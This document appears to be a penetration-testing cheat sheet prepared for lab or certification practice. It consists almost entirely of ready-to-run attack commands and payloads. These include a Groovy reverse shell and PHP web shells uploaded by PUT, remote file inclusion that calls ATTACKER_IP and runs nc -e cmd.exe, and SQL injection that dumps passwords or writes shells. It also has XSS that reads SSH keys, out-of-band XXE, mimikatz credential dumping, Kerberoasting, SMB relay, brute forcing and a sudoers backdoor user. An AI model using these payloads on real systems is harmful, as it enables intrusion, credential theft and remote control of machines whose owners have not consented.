1 - Get the company IPs range X.X.X.X/24
2 - Run $ nmap -p 80,448,8080 IP/24 -oN file.txt
3 - Use any IP extractor or API in case of automation or bash then save it on IPs.txt
4 - run $ httpx -l IPs.txt -o final.txt
5 - run $ nuclei -l final.txt
ysoserial
A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. Deserialization payload generator for a variety of .NET formatters
nmap -sS -sV -Pn -O -A -sC iptarget
-sS: SYN Scan
-sV: Version/Service Info
-Pn: skip host discovery
-O: OS scan
-A: OS version Detection
-sC: equivalent to --script=default
curl -i 10.11.1.111
curl -i -L 10.11.1.111
curl -i -H "User-Agent:Mozilla/4.0" http://10.11.1.111:8080
Tip, if 429 add one of these headers:
Client-Ip: IP
X-Client-Ip: IP
X-Forwarded-For: IP
X-Forwarded-For: 127.0.0.1
nikto -h https://10.10.11.158
# Nikto with squid proxy
nikto -h 10.11.1.111 -useproxy http://10.11.1.111:4444
#IIS
#ViewState:
https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC
#WebResource.axd:
https://github.com/inquisb/miscellaneous/blob/master/ms10-070_check.py
#ShortNames
https://github.com/irsdl/IIS-ShortName-Scanner
┌──(kali㉿kali)-[~]
└─$ java -jar iis_shortname_scanner.jar 2 20 http://domain.es
#Jenkins
JENKINSIP/PROJECT//securityRealm/user/admin
JENKINSIP/jenkins/script
#Groovy RCE
def process = "cmd /c whoami".execute();println "${process.text}";
#Groovy RevShell
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
# Joomscan
joomscan -u http://10.11.1.111
joomscan -u http://10.11.1.111 --enumerate-components
# PHP bypass disable_functions and open_basedir
# Chankro
https://github.com/TarlogicSecurity/Chankro
python2 chankro.py --arch 64 --input rev.sh --output chan.php --path /var/www/html
# Cookies error padding:
# Get cookie structure
padbuster http://10.10.1.111/index.php xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka 8 -cookies "user=xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka" -error "Invalid padding"
# Get cookie for other user (impersonation)
padbuster http://10.10.1.111/index.php xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka 8 -cookies "user=xDwqvSF4SK1BIqPxM9fiFxnWmF+wjfka" -error "Invalid padding" -plaintext 'user=administratorme'
# Google Analytics ID
https://github.com/Josue87/AnalyticsRelationships
$ cat subdomains.txt | analyticsrelationships
https://builtwith.com/relationships/united.com
https://builtwith.com/relationships/tag/UA-29214177
https://api.hackertarget.com/analyticslookup/?q=united.com
https://api.hackertarget.com/analyticslookup/?q=UA-16316580
┌──(kali㉿kali)-[~]
└─$ curl -X POST -d @pingback.xml https://ip.com/xmlrpc.php
Enum User:
┌──(kali㉿kali)-[~]
└─$ for i in {1..50}; do curl -s -L -i https://ip.com/wordpress\?author=$i | grep -E -o "Location:.*" | awk -F/ '{print $NF}'; done
# Joomscan
┌──(kali㉿kali)-[~]
└─$ joomscan -u http://10.11.1.111
┌──(kali㉿kali)-[~]
└─$ joomscan -u http://10.11.1.111 --enumerate-components
# Get header
┌──(kali㉿kali)-[~]
└─$ curl -i 10.11.1.111
# Get options
┌──(kali㉿kali)-[~]
└─$ curl -i -X OPTIONS 10.11.1.111
# With PUT option enabled:
┌──(kali㉿kali)-[~]
└─$ nmap -p 80 10.1.10.111 --script http-put --script-args http-put.url='/test/rootme.php',http-put.file='/root/php-reverse-shell.php'
┌──(kali㉿kali)-[~]
└─$ curl -v -X PUT -d '<?php system($_GET["cmd"]);?>' http://10.1.10.111/test/cmd.php && http://10.1.10.111/test/cmd.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%210.1.10.111%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
# Get everything
┌──(kali㉿kali)-[~]
└─$ curl -i -L 10.11.1.111
┌──(kali㉿kali)-[~]
└─$ curl -i -H "User-Agent:Mozilla/4.0" http://10.11.1.111:8080
# Check for title and all links
┌──(kali㉿kali)-[~]
└─$ curl 10.11.1.111 -s -L | grep "title\|href" | sed -e 's/^[[:space:]]*//'
# Look at page with just text
┌──(kali㉿kali)-[~]
└─$ curl 10.11.1.111 -s -L | html2text -width '99' | uniq
# Check if it is possible to upload
┌──(kali㉿kali)-[~]
└─$ curl -v -X OPTIONS http://10.11.1.111/
┌──(kali㉿kali)-[~]
└─$ curl -v -X PUT -d '<?php system($_GET["cmd"]); ?>' http://10.11.1.111/test/shell.php
# Simple curl POST request with login data
┌──(kali㉿kali)-[~]
└─$ curl -X POST http://10.11.1.11/centreon/api/index.php?action=authenticate -d 'username=centreon&password=wall'
┌──(kali㉿kali)-[~]
└─$ dotdotpwn.pl -m http -h 10.11.1.111 -M GET -o unix
site:domain.com intext:user
Read the actual SSL CERT to:
- find out potential correct vhost to GET
- is the clock skewed
- any names that could be usernames for bruteforce/guessing.
sslscan 10.11.1.111:443
./testssl.sh -e -E -f -p -S -P -c -H -U TARGET-HOST > OUTPUT-FILE.html
nmap -sV --script=ssl-heartbleed 10.1.10.111
mod_ssl,OpenSSL version Openfuck
ftp 10.10.10.10
nmap --script ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 10.11.1.111
USER anonymous / admin / found username
PASS anonymous / admin / found username
Try:
get put (*.aspx,*.asp,*.php)
If you have usernames test login with username:username
Vulnerable Versions: 7.2p1
$ ssh -v user@10.10.1.111 id
Check Auth Methods:
$ ssh -v 10.10.1.111
SSH via Non-Standard Port:
$ ssh -v 10.10.1.111 -p 43022
SSH no matching key exchange method found:
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 bob@10.11.1.136
Force Auth Method:
$ ssh -v 10.10.1.111 -o PreferredAuthentications=password
SSH Login with id_rsa file:
$ ssh -i id_rsa fox@192.168.152.126
SSH via Git:
$ GIT_SSH_COMMAND='ssh -i id_rsa -o IdentitiesOnly=yes' git clone ssh://git@192.168.212.125:43022/git-server (non-standard port)
$ GIT_SSH_COMMAND='ssh -i ~/Proving_Grounds/Hunit/id_rsa -o IdentitiesOnly=yes' git push (Done from within the git repo)
BruteForce:
patator ssh_login host=10.11.1.111 port=22 user=root 0=/usr/share/metasploit-framework/data/wordlists/unix_passwords.txt password=FILE0 -x ignore:mesg='Authentication failed.'
hydra -l user -P /usr/share/wordlists/password/rockyou.txt -e s ssh://10.10.1.111
medusa -h 10.10.1.111 -u user -P /usr/share/wordlists/password/rockyou.txt -e s -M ssh
ncrack --user user -P /usr/share/wordlists/password/rockyou.txt ssh://10.10.1.111
SSH FUZZ:
https://dl.packetstormsecurity.net/fuzzer/sshfuzz.txt
cpan Net::SSH2
./sshfuzz.pl -H 10.10.1.111 -P 22 -u user -p user
SSH-AUDIT
https://github.com/arthepsy/ssh-audit
• https://www.exploit-db.com/exploits/18557 ~ Sysax 5.53 – SSH ‘Username’ Remote Buffer Overflow
• https://www.exploit-db.com/exploits/45001 ~ OpenSSH < 6.6 SFTP – Command Execution
• https://www.exploit-db.com/exploits/45233 ~ OpenSSH 2.3 < 7.7 – Username Enumeration
• https://www.exploit-db.com/exploits/46516 ~ OpenSSH SCP Client – Write Arbitrary Files
http://www.vegardno.net/2017/03/fuzzing-openssh-daemon-using-afl.html
SSH Enum users < 7.7:
https://github.com/six2dez/ssh_enum_script
https://www.exploit-db.com/exploits/45233
python ssh_user_enum.py --port 2223 --userList /root/Downloads/users.txt IP 2>/dev/null | grep "is a"
This is used for tftp-server.
- Vulns tftp in server 1.3, 1.4, 1.9, 2.1, and a few more.
- Checks of FTP Port 21.
┌──(kali㉿kali)-[~]
└─$ nmap -p69 --script=tftp-enum.nse 10.11.1.111
nmap -p 1433 -sU --script=ms-sql-info.nse 10.11.1.111
use auxiliary/scanner/mssql/mssql_ping
use auxiliary/scanner/mssql/mssql_login
use exploit/windows/mssql/mssql_payload
sqsh -S 10.11.1.111 -U sa
xp_cmdshell 'date'
go
oscanner -s 10.11.1.111 -P 1521
tnscmd10g version -h 10.11.1.111
tnscmd10g status -h 10.11.1.111
nmap -p 1521 -A 10.11.1.111
nmap -p 1521 --script=oracle-tns-version,oracle-sid-brute,oracle-brute
MSF: good modules under auxiliary/admin/oracle and scanner/oracle
./odat-libc2.5-i686 all -s 10.11.1.111 -p 1521
./odat-libc2.5-i686 sidguesser -s 10.11.1.111 -p 1521
./odat-libc2.5-i686 passwordguesser -s 10.11.1.111 -p 1521 -d XE
Upload reverse shell with ODAT:
./odat-libc2.5-i686 utlfile -s 10.11.1.111 -p 1521 -U scott -P tiger -d XE --sysdba --putFile c:/ shell.exe /root/shell.exe
and run it:
./odat-libc2.5-i686 externaltable -s 10.11.1.111 -p 1521 -U scott -P tiger -d XE --sysdba --exec c:/ shell.exe
showmount -e 10.11.1.111
If you find anything you can mount it like this:
mount 10.11.1.111:/ /tmp/NFS
mount -t 10.11.1.111:/ /tmp/NFS
https://book.hacktricks.xyz/pentesting/27017-27018-mongodb
#By default all the nmap mongo enumerate scripts are used:
nmap -sV --script "mongo* and default" -p 27017 <IP>
amap -d 10.11.1.111 8000
netcat: makes connections to ports. Can echo strings or give shells:
nc -nv 10.11.1.111 110
sfuzz: can connect to ports, udp or tcp, refrain from closing a connection, using basic HTTP configurations
Try zone transfer for subdomains:
dig axfr @10.11.1.111 hostname.box, dnsenum 10.11.1.111, dnsrecon -d domain.com -t axfr
# Search documentation for default passwords and test them
site:webapplication.com password
admin / admin
admin / password
admin / admin12345
admin / letmeinplease
admin / <blank>
admin / <servicename>
admin / <name of the box>
administrator / admin
user / user
user / 12345
user / password
guest / guest
root / root
root / admin
root / password
root / <servicename>
<username if you have> / password
<username if you have> / admin
<username if you have> / username
username / <servicename>
<name of the box> / <name of the box>
<name of the service / application> <name of the service / application>
default account / <name of the application>
┌──(kali㉿kali)-[~]
└─$ fimap -u "http://10.11.1.111/example.php?test="
# Ordered output
┌──(kali㉿kali)-[~]
└─$ curl -s http://10.11.1.111/gallery.php?page=/etc/passwd
/root/Tools/Kadimus/kadimus -u http://10.11.1.111/example.php?page=
http://10.11.1.111/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd && base64 -d savefile.php
http://10.11.1.111/page=http://10.11.1.111/maliciousfile.txt%00 or ?
?page=php://filter/convert.base64-encode/resource=../config.php
file=C:\windows\system32\drivers\etc\hosts #Windows file
┌──(kali㉿kali)-[~]
└─$ amap -d 10.11.1.111 8000
# LFI Windows
http://10.11.1.111/addguestbook.php?LANG=../../windows/system32/drivers/etc/hosts%00
../../../../../boot.ini #Windows file
# Contaminating log files
root@kali:~# nc -v 10.11.1.111 80
10.11.1.111: inverse host lookup failed: Unknown host
(UNKNOWN) [10.11.1.111] 80 (http) open
<?php echo shell_exec($_GET['cmd']);?>
http://10.11.1.111/addguestbook.php?LANG=../../xampp/apache/logs/access.log%00&cmd=ipconfig #Will work if directory traversal is available.
# RFI:
http://10.11.1.111/addguestbook.php?LANG=http://10.11.1.111:31/evil.txt%00
Content of evil.txt:
<?php echo shell_exec("nc.exe 10.11.0.105 4444 -e cmd.exe") ?>
# PHP Filter:
http://10.11.1.111/index.php?m=php://filter/convert.base64-encode/resource=config
# RFI over SMB (Windows)
cat php_cmd.php
<?php echo shell_exec($_GET['cmd']);?>
- Start SMB Server in attacker machine and put evil script
- Access it via browser (2 request attack):
- http://10.11.1.111/blog/?lang=\\ATTACKER_IP\ica\php_cmd.php&cmd=powershell -c Invoke-WebRequest -Uri "http://10.10.14.42/nc.exe" -OutFile "C:\\windows\\system32\\spool\\drivers\\color\\nc.exe"
- http://10.11.1.111/blog/?lang=\\ATTACKER_IP\ica\php_cmd.php&cmd=powershell -c "C:\\windows\\system32\\spool\\drivers\\color\\nc.exe" -e cmd.exe ATTACKER_IP 1234
BYPASS IMAGE UPLOAD RESTRICTIONS
- Change extension: .pHp3 or pHp3.jpg
- Modify mimetype: Content-type: image/jpeg
- Bypass getimagesize(): exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' file.jpg
- Add gif header: GIF89a;
- All at the same time.
admin';#
' OR 1=1;#
# References
https://portswigger.net/web-security/sql-injection
https://portswigger.net/web-security/sql-injection/cheat-sheet
https://www.exploit-db.com/papers/17934
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
https://book.hacktricks.xyz/pentesting-web/sql-injection
https://pentestwiki.org/sql-injection/
https://www.tarlogic.com/blog/red-team-tales-0x01/
# Enumeration
' ORDER BY 1-- #Increase the number to determine the number of columns
' UNION SELECT NULL,NULL,NULL-- #Confirm the "Order by" statement
' UNION SELECT NULL,NULL,'a',NULL-- #Define string/numerical data
# Database Attacks
'+UNION+SELECT+@@version,+NULL#
SELECT * FROM information_schema.tables
SHOW GRANTS; #Get current user permissions
SHOW VARIABLES; #Get variables related to the environment
select @@hostname, @@tmpdir, @@version, @@version_compile_machine, @@plugin_dir; #MySQL database enumeration query
'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables-- #List Tables
'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_abcdef'-- #List Columns
'+UNION+SELECT+username,+password+FROM+users-- #Get Username & Password
'+UNION+SELECT+NULL,username||'~'||password+FROM+users-- #Concatenation for multiple vaules
# SQL Web Shell
'UNION SELECT "<?php echo passthru($_GET['cmd']);?>" INTO OUTFILE 'C:/xampp/htdocs/command.php'>) #MedJed
# Blind Enumeration (https://auspisec.com/blog/20220118/proving_grounds_butch_walkthrough.html)
TrackingId =u5YD3PapBcR4lN3e7Tj4' AND '1'='1 #Test w/ a condition based injection (True or False)
' IF (1=1) WAITFOR DELAY '0:0:10';-- #Evaluates to true and waits 10 secs (Time Delay based)
' IF ((select count(name) from sys.tables where name = 'users')=1) WAITFOR DELAY '0:0:10';-- #This query uses Boolean to guess the table name of a database
' IF ((select count(c.name) from sys.columns c, sys.tables t where c.object_id = t.object_id and t.name = 'users' and c.name = 'username')=1) WAITFOR DELAY '0:0:10';-- #This query uses Boolean to guess the column name of a table
TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a #This query verifies there is table called users.
TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a
#Checks for password length
TrackingId=xyz' AND (SELECT SUBSTRING(password,3,1) FROM users WHERE username='administrator')='§a§ #Use with Burp Sniper, a Simple List Payload, and Grep Match to find the password one character at a time incrementing to total length.
TrackingId =u5YD3PapBcR4lN3e7Tj4' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm #This query checks to narrow the first letter of the 'Admin' password
# Blind Oracle sqli (https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors)
TrackingId=Vqg7K1mFWH8hNMMb'||(SELECT+CASE+WHEN+SUBSTR(password,§1§,1)='§a§'+THEN+TO_CHAR(1/0)+ELSE+NULL+END+FROM+users+WHERE+username%3d+'administrator')||' # Used Burp Cluster bomb to iterate through the length of the password and simplelist.
#Time-Delay SQLi
TrackingId=jSeXZLJoesz7M9ZH'||pg_sleep(10)-- #The key here is to conactenat the normal query w/ the sleep payload as it is generally processed synchronously by the application.
TrackingId='%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END-- # Validate the payload still works for the delay.
TrackingId='%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--; # Check for 'administrator' in the 'users' table
TrackingId='%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password) >19)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- # Check length of PW.
TrackingId='%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,20,1)='§a§')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users-- #Use Sniper to retrieve PW.
# Post
./sqlmap.py -r search-test.txt -p tfUPass #<-p> is the parameter to test in the file
[From Burp to confirm] POST /issue/checkByPriority?priority=Normal'+UNION+SELECT+sleep(5);+--+- HTTP/1.1
sqlmap -r post.login.req --threads=1 --time-sec=1 --level=5 --risk=3 --dbms=mssql -T users -C username,password_hash --random-agent --batch --dump
# Get
sqlmap -u "http://10.11.1.111/index.php?id=1" --dbms=mysql
# Crawl
sqlmap -u http://10.11.1.111 --dbms=mysql --crawl=3
# Full auto - THE GOOD ONE
sqlmap -u 'http://10.11.1.111:1337/978345210/index.php' --forms --dbs --risk=3 --level=5 --threads=4 --batch
# Columns
sqlmap -u 'http://admin.cronos.htb/index.php' --forms --dbms=MySQL --risk=3 --level=5 --threads=4 --batch --columns -T users -D admin
# Values
sqlmap -u 'http://admin.cronos.htb/index.php' --forms --dbms=MySQL --risk=3 --level=5 --threads=4 --batch --dump -T users -D admin
sqlmap -o -u "http://10.11.1.111:1337/978345210/index.php" --data="username=admin&password=pass&submit=+Login+" --method=POST --level=3 --threads=10 --dbms=MySQL --users --passwords
sqlmap http://192.168.133.52/zm/index.php --data="view=request&request=log&task=query&limit=100&minTime=5" -D zm --tables --threads 5
# NoSQL
' || 'a'=='a
mongodbserver:port/status?text=1
#in URL
username[$ne]=toto&password[$ne]=toto
#in JSON
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$gt":""}, "password": {"$gt":""}}
## SSRF
web that send request to external IP's, we call 127.0.0.1:8080 / 10.1.10.111 to enum internal network
chat:3000/ssrf?user=&comment=&link=http://127.0.0.1:3000
GET /ssrf?user=&comment=&link=http://127.0.0.1:3000 HTTP/1.1
Also we can enum ports
SQL-LOGIN-BYPASS
- Open Burp-suite
- Make and intercept a request
- Send to intruder
- Cluster attack.
- Paste in sqlibypass-list (https://bobloblaw.gitbooks.io/security/content/sql-injections.html)
- Attack
- Check for response length variation
<script>alert("XSS")</script>
<script>alert(1)</script>
https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html?m=1
" <script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText.fontsize(1)) }; x.open("GET","file:///home/reader/.ssh/id_rsa"); x.send(); </script>
" <script> x=new XMLHttpRequest; x.onload=function(){ document.write(this.responseText) }; x.open("GET","file:///etc/passwd"); x.send(); </script>
# XXE
XML entry that reads server, Doctype, change to entity "System "file:///etc/passwd""
Instead POST:
<?xml version="1.0" ?>
<!DOCTYPE thp [
<!ELEMENT thp ANY>
<!ENTITY book "Universe">
]>
<thp>Hack The &book;</thp>
Malicious XML:
<?xml version="1.0" ?><!DOCTYPE thp [ <!ELEMENT thp ANY>
<!ENTITY book SYSTEM "file:///etc/passwd">]><thp>Hack The
%26book%3B</thp>
XXE OOB
<?xml version="1.0"?><!DOCTYPE thp [<!ELEMENT thp ANY >
<!ENTITY % dtd SYSTEM "http://[YOUR_IP]/payload.dtd"> %dtd;]>
<thp><error>%26send%3B</error></thp>
# only be readable by you
chmod 400
# change the permissions
chmod 600
# Change the file permission to rwx for everyone.
chmod 777
# execution permissions
chmod +x
drwxr-xr-x 3 root
lrwxrwxrwx 1 root
drwx------
drwxr-x---
drwxrwxr-x
-rw-r--r--
-rw-------
-r--------
# BASH: Spawning shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/bash")'
python -c 'import pty; pty.spawn("/bin/sh")'
V
Ctrl+Z
stty raw -echo
fg
reset
Ctrl+Z
stty size
stty -rows 48 -columns 120
fg
# BASH: Spawning shell
echo os.system('/bin/bash')
/bin/sh -i
perl -e 'exec "/bin/sh";'
perl: exec "/bin/sh";
ruby: exec "/bin/sh"
lua: os.execute('/bin/sh')
(From within vi)
:!bash
:set shell=/bin/bash:shell
(From within nmap)
!sh
# Download
wget http://10.10.16.4:5555/nc64.exe -outfile nc.exe
# Download all files
wget http://10.11.1.111:8080/ -r; mv 10.11.1.111:8080 exploits; cd exploits; rm index.html; chmod 700 LinEnum.sh linprivchecker.py unix-privesc-check
# Access to more binaries
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
# Set up webserver
cd /root/oscp/useful-tools/privesc/linux/privesc-scripts; python -m SimpleHTTPServer 8080; python3 -m http.server 80
./LinEnum.sh -t -k password -r LinEnum.txt
python linprivchecker.py extended
./unix-privesc-check standard
# Writable directories
/tmp
/var/tmp
# Add user to sudoers
useradd hacker
passwd hacker
echo "hacker ALL=(ALL:ALL) ALL" >> /etc/sudoers
# Basic info
which awk perl python python3 ruby gcc cc nano vi vim nmap find netcat nc wget tftp ftp 2>/dev/null
uname -a
env
id
cat /proc/version
cat /etc/issue
cat /etc/passwd
cat /etc/group
cat /etc/shadow
cat /etc/hosts
cat /etc/fstab
cat /etc/crontab
# Users with login
grep -vE "nologin" /etc/passwd
# Priv Enumeration Scripts
upload /unix-privesc-check
upload /root/Desktop/Backup/Tools/Linux_privesc_tools/linuxprivchecker.py ./
upload /root/Desktop/Backup/Tools/Linux_privesc_tools/LinEnum.sh ./
python linprivchecker.py extended
./LinEnum.sh -t -k password
unix-privesc-check
# Basic info
systeminfo
set
hostname
net users
net user user1
net localgroups
net localgroups Administrators
# Unquoted Service Path:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
icacs “C:\Program Files” #Check for folder/file permissions
F = Full Control
CI = Container Inherit – This flag indicates that subordinate containers will inherit this ACE.
OI = Object Inherit – This flag indicates that subordinate files will inherit the ACE
sc qc <service> #Checking for Auto start and owner of service
Upload malicious encoded binary in controlled folder to bypass AV #Reverse Shell
sc stop <service> OR shutdown /r /t 0 #If user has rights and sc stop is now granted
accesschk:
-u: Suppress the errors
-w: Objects with write access
-c: Display service name
-q: Omit Banner
-v: Verbose
accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk64.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula
netsh firewall show state
netsh firewall show config
netsh advfirewall firewall show rule name=all
netsh advfirewall show currentprofile
# Set path
set PATH=%PATH%;C:\xampp\php
whoami /priv
dir/a -> Show hidden & unhidden files
dir /Q -> Show permissions
dir [filename] /s /p (s – for all directories and p – pause results)
# Insecure Folder Permission
C:\>cacls C:\bd
# Insecure File/Service Permission
C:\>cacls C:\bd\bd.exe
#Service Query
C:\>sc qc bd
# DOWNLOAD
wget http://10.10.16.4:5555/nc64.exe -outfile nc.exe
powershell wget http://10.10.16.4:5555/shell.bat -outfile shell.bat
# Windows download with certutil.exe
certutil.exe -urlcache -split -f "http://10.11.1.111/Powerless.bat" Powerless.bat
# Windows download with powershell
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.11.1.111/file.exe','C:\Users\Public\file.exe')"
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.8:9005/40564.exe', 'c:\Users\Public\Downloads\40564.exe')"
(New-Object System.Net.WebClient).DownloadFile("http://10.11.1.111/CLSID.list","C:\Users\Public\CLSID.list")
PS C:\> (new-object net.webclient).downloadfile('http://10.10.14.3:5555/JuicyPotato.exe', 'C:\Users\merlin\Desktop\jp.exe')
# Windows create SMB Server transfer files
# Attack machine
python3 /usr/share/impacket/impacket/examples/smbserver.py Lab "/root/labs/public/10.11.1.111"
# Victim machine with reverse shell
Download: copy \\10.11.1.111\Lab\wce.exe .
Upload: copy wtf.jpg \\10.11.1.111\Lab
# Windows NC File Transfer
nc.exe -vn 192.168.119.131 8080 < win_rev.doc #From windows machine
nc -lvnp 8080 > win_rev.doc #To kali box
# PowerShell Priv Esc
powershell IEX (New-Object Net.WebClient).downloadString('https://192.168.49.221/jaws-enum.ps1')
powershell Invoke-AllChecks
powershell IEX (New-Object Net.WebClient).downloadString('https://192.168.49.221/Jaws.ps1')
powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename EnumOutput.txt
# PowerSploit
PowerSploit - A PowerShell Post-Exploitation Framework
https://github.com/PowerShellMafia/PowerSploit/tree/dev
# LLMNR/NBT-NS
responder -I eth0 -rdwv #Credential default capture settings
# SMB Relay Attack
python3 /home/kali/.local/bin/ntlmrelayx.py -tf targets.txt -smb2support #Capture creds via SMB (Signing must be 'disabled/not required')
python3 /home/kali/.local/bin/ntlmrelayx.py -tf targets.txt -smb2support -i # Gain a interactive shell with "-i"
# IPv6 Attack
https://dirkjanm.io/worst-of-both-worlds-ntlm-relaying-and-kerberos-delegation/
sudo mitm6 -d marvel.local #Run mitm6 first to IPv6 server
python3 /home/kali/.local/bin/ntlmrelayx.py -6 -t ldaps://192.168.68.122 -wh fakewpad.marvel.local -l lootme # Captures IPv6 request to capture & dump creds to lootme
AzureHound for Azure Active Directory #
Install-Module -name Az -AllowClobber | Install-Module -name AzureADPreview -AllowClobber
SharpHound for local Active Directory
# run the collector on the machine using SharpHound
"Invoke-BloodHound -CollectionMethod All -Domain <DomainName> -ZipFileName <file.zip>"
# copy zip over to attack machine to run in neo4j DB
https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
privilege::debug #Check Architecture for for correct mimikatz version
#Password / Hash Grabbing Techniques
sekurlsa::logonpasswords #Dump cached passwords from logins
lsadump::sam #Dumps passwords/hashes in sam file
lsadump::secrets #Dumps passwords
lsadump::dcsync /domain:corp.com /user:jeff_admin #Creates a ntlm hash from DC for lateral move
## Invoke-Mimikatz
Invoke-Mimikatz -DumpCreds -ComputerName XOR-APP59
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"'
net use \\dc01 #Creates a TGS with a domain user
sekurlsa::tickets #Run with mimikatz
sekurlsa::tickets /export
PS C:\Users\Public\Documents> klist
#klist dumps tickets in powershell
Import-Module .\Invoke-Kerberoast.ps1
Next type: PS C:\Users\Public> Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat Hashcat | % {$_.Hash} | Out-File -Encoding ascii hashes.hashcat
hashcat -m 13100 -a 0 -o cracked.txt hashes.hashcat /home/kali/rockyou.txt
##Use SMBserver to transfer hashes
PS C:\Tools\active_directory> Invoke-Kerberoast -OutputFormat john | Select-Object -ExpandProperty hash |% {$_.replace(':',':$krb5tgs$23$')}
sudo john --format=krb5tgs hash.txt --wordlist=/home/kali/rockyou.txt
#Use SMBserver to transfer hashes
# Proof
echo -e '\n'HOSTNAME: && hostname && echo -e '\n'WHOAMI: && whoami && echo -e '\n'PROOF: && cat proof.txt && echo -e '\n'IFCONFIG: && /sbin/ifconfig && echo -e '\n'PASSWD: && cat /etc/passwd && echo -e '\n'SHADOW: && cat /etc/shadow && echo -e '\n'NETSTAT: && netstat -antup
# Local
find / -type f -name local.txt 2>/dev/null
cat local.txt
# Network secret
/root/network-secret.txt
# Passwords and hashes
cat /etc/passwd
cat /etc/shadow
unshadow passwd shadow > unshadowed.txt
john --rules --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
# Dualhomed
ifconfig
ifconfig -a
arp -a
# Tcpdump
tcpdump -i any -s0 -w capture.pcap
tcpdump -i eth0 -w capture -n -U -s 0 src not 10.11.1.111 and dst not 10.11.1.111
tcpdump -vv -i eth0 src not 10.11.1.111 and dst not 10.11.1.111
# Proof:
hostname && whoami.exe && type proof.txt && ipconfig /all
PS C:\Users\administrator.xor\Desktop> hostname; whoami.exe; type proof.txt; ipconfig /all
# Passwords and hashes:
wce32.exe -w
wce64.exe -w
fgdump.exe
# Dualhomed
ipconfig /all
route print
# What other machines have been connected
arp -a
# Tcpdump
Meterpreter
run packetrecorder -li
run packetrecorder -i 1
- Interesting files:
- Databases:
- SSH-keys:
- Browser:
- Mail:
